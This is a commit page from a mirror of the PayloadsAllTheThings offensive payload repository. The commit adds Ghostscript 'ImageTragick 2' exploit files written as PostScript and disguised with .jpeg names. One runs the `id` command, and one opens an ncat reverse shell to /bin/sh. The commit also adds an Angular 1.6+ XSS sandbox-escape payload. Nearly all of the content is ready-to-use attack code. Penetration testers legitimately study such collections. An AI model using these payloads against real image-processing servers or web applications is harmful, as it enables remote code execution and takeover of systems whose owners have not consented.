ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-24 05:15:26 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

ImageTragick v2 + Angular 1.6+ XSS

Browse Source
This commit is contained in:
Swissky 2018-08-22 21:42:25 +02:00
parent fe7314444c
commit 0c707c4188
6 changed files with 53 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
PHP serialization/README.md
View File

@ -2,7 +2,7 @@
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
Also you should check the `Wrapper Phar://` in [File Inclusion - Path Traversal](github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#wrapper-phar) which use a PHP object injection.
Also you should check the `Wrapper Phar://` in [File Inclusion - Path Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#wrapper-phar) which use a PHP object injection.
## Exploit with the __wakeup in the unserialize function

22
Upload insecure files/Image Tragik 2/README.md Normal file
View File

@ -0,0 +1,22 @@
# Image Tragik 2
## Exploit
Simple `id` payload
```powershell
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
```
then use `convert shellexec.jpeg whatever.gif`
## Thanks to
* [openwall.com/lists/oss-security/2018/08/21/2 by Tavis Ormandy](http://openwall.com/lists/oss-security/2018/08/21/2)

6
Upload insecure files/Image Tragik 2/centos_id.jpeg Normal file
View File

@ -0,0 +1,6 @@
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

8
Upload insecure files/Image Tragik 2/ubuntu_id.jpeg Normal file
View File

@ -0,0 +1,8 @@
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

8
Upload insecure files/Image Tragik 2/ubuntu_shell.jpeg Normal file
View File

@ -0,0 +1,8 @@
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%ncat 127.0.0.1 4242 -e /bin/sh) currentdevice putdeviceprops

8
XSS injection/XSS in Angular.md
View File

@ -1,5 +1,13 @@
# XSS in Angular
Angular 1.6+ by [@brutelogic](https://twitter.com/brutelogic/status/1031534746084491265)
```javascript
{{[].pop.constructor&#40'alert\u00281\u0029'&#41&#40&#41}}
```
Example available at [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?a=<brute+ng-app>%7B%7B[].pop.constructor%26%2340%27alert%5Cu00281%5Cu0029%27%26%2341%26%2340%26%2341%7D%7D)
Angular 1.6.0
```javascript